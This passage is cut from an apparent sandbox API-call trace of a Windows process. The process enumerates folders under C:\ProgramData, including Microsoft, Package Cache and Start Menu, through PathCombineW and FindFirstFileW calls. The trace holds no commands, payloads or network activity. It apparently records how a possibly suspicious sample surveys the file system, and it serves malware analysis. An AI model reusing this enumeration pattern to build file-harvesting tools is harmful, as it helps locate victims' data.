"c:\\programdata\\application data\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f33c, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xe5, ftLastWriteTime.dwLowDateTime=0x6f3026, ftLastWriteTime.dwHighDateTime=0x3424bf8b, nFileSizeHigh=0x24f548, nFileSizeLow=0x751dc33b, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.624] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.625] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.625] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Desktop" | out: pszDest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0266.625] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.625] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Desktop" | out: psz1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0266.625] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Desktop" | out: psz1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0266.625] lstrlenW (lpString="\\*") returned 2 [0266.625] lstrlenW (lpString="C:\\ProgramData\\Desktop") returned 22 [0266.625] LocalAlloc (uFlags=0x40, uBytes=0x130) returned 0x6f3c38 [0266.625] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*" (normalized: "c:\\programdata\\desktop\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f33c, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xee, ftLastWriteTime.dwLowDateTime=0x6f3014, ftLastWriteTime.dwHighDateTime=0x3424bf8b, nFileSizeHigh=0x24f548, nFileSizeLow=0x751dc33b, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.625] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.626] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.626] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Documents" | out: pszDest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0266.626] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.626] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Documents" | out: psz1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0266.626] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Documents" | out: psz1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0266.626] lstrlenW (lpString="\\*") returned 2 [0266.626] lstrlenW (lpString="C:\\ProgramData\\Documents") returned 24 [0266.626] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6f3c38 [0266.626] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*" (normalized: "c:\\programdata\\documents\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f33c, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xec, ftLastWriteTime.dwLowDateTime=0x6f3018, ftLastWriteTime.dwHighDateTime=0x3424bf8b, nFileSizeHigh=0x24f548, nFileSizeLow=0x751dc33b, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.626] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.626] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.626] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Favorites" | out: pszDest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0266.627] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.627] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Favorites" | out: psz1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0266.627] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Favorites" | out: psz1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0266.627] lstrlenW (lpString="\\*") returned 2 [0266.627] lstrlenW (lpString="C:\\ProgramData\\Favorites") returned 24 [0266.627] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6f3c38 [0266.627] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*" (normalized: "c:\\programdata\\favorites\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f33c, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xec, ftLastWriteTime.dwLowDateTime=0x6f3018, ftLastWriteTime.dwHighDateTime=0x3424bf8b, nFileSizeHigh=0x24f548, nFileSizeLow=0x751dc33b, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.627] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.627] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.627] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Microsoft" | out: pszDest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0266.627] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.628] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Microsoft" | out: psz1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0266.628] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Microsoft" | out: psz1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0266.628] lstrlenW (lpString="\\*") returned 2 [0266.628] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24 [0266.628] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6f3c38 [0266.628] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*" (normalized: "c:\\programdata\\microsoft\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Assistance" | out: pszDest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="ClickToRun" | out: pszDest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Crypto" | out: pszDest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Device Stage" | out: pszDest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="DeviceSync" | out: pszDest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="DRM" | out: pszDest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="eHome" | out: pszDest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0266.628] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="IdentityCRL" | out: pszDest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Media Player" | out: pszDest="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="MF" | out: pszDest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="NetFramework" | out: pszDest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Network" | out: pszDest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Office" | out: pszDest="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="OfficeSoftwareProtectionPlatform" | out: pszDest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="RAC" | out: pszDest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Search" | out: pszDest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="User Account Pictures" | out: pszDest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Vault" | out: pszDest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Windows" | out: pszDest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Windows Defender" | out: pszDest="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="Windows NT" | out: pszDest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0266.629] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\ProgramData\\Microsoft", pszFile="WwanSvc" | out: pszDest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0266.629] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Microsoft Help" | out: pszDest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0266.629] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.630] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Microsoft Help" | out: psz1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0266.630] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Microsoft Help" | out: psz1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0266.630] lstrlenW (lpString="\\*") returned 2 [0266.630] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help") returned 29 [0266.630] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6f3c38 [0266.630] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*" (normalized: "c:\\programdata\\microsoft help\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.634] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Microsoft OneDrive" | out: pszDest="C:\\ProgramData\\Microsoft OneDrive") returned="C:\\ProgramData\\Microsoft OneDrive" [0266.634] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.635] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Microsoft OneDrive" | out: psz1="C:\\ProgramData\\Microsoft OneDrive") returned="C:\\ProgramData\\Microsoft OneDrive" [0266.635] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Microsoft OneDrive" | out: psz1="C:\\ProgramData\\Microsoft OneDrive") returned="C:\\ProgramData\\Microsoft OneDrive" [0266.635] lstrlenW (lpString="\\*") returned 2 [0266.635] lstrlenW (lpString="C:\\ProgramData\\Microsoft OneDrive") returned 33 [0266.635] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6f3c38 [0266.635] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\*" (normalized: "c:\\programdata\\microsoft onedrive\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.636] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\ProgramData\\Microsoft OneDrive", pszFile="setup" | out: pszDest="C:\\ProgramData\\Microsoft OneDrive\\setup") returned="C:\\ProgramData\\Microsoft OneDrive\\setup" [0266.636] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Package Cache" | out: pszDest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0266.636] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.636] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Package Cache" | out: psz1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0266.636] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Package Cache" | out: psz1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0266.636] lstrlenW (lpString="\\*") returned 2 [0266.636] lstrlenW (lpString="C:\\ProgramData\\Package Cache") returned 28 [0266.636] LocalAlloc (uFlags=0x40, uBytes=0x13c) returned 0x6f3c38 [0266.636] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*" (normalized: "c:\\programdata\\package cache\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.638] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: pszDest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: pszDest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508" | out: pszDest="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508") returned="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: pszDest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508" | out: pszDest="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508") returned="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: pszDest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: pszDest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: pszDest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{65e650ff-30be-469d-b63a-418d71ea1765}" | out: pszDest="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}") returned="C:\\ProgramData\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{6913e92a-b64e-41c9-a5e6-cef39207fe89}" | out: pszDest="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}") returned="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508" | out: pszDest="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508") returned="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: pszDest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: pszDest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: pszDest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: pszDest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: pszDest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0266.639] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: pszDest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0266.640] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: pszDest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0266.640] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508" | out: pszDest="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508") returned="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508" [0266.640] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\ProgramData\\Package Cache", pszFile="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: pszDest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0266.641] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="regid.1991-06.com.microsoft" | out: pszDest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft" [0266.641] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.641] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: psz1="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft" [0266.641] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: psz1="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft" [0266.641] lstrlenW (lpString="\\*") returned 2 [0266.641] lstrlenW (lpString="C:\\ProgramData\\regid.1991-06.com.microsoft") returned 42 [0266.641] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6f3c38 [0266.641] FindFirstFileW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\*" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1f2b3de0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.643] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Start Menu" | out: pszDest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0266.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.643] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Start Menu" | out: psz1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0266.643] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Start Menu" | out: psz1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0266.643] lstrlenW (lpString="\\*") returned 2 [0266.643] lstrlenW (lpString="C:\\ProgramData\\Start Menu") returned 25 [0266.643] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6f3c38 [0266.643] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*" (normalized: "c:\\programdata\\start menu\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f33c, ftCreationTime.dwHighDateTime=0x0, 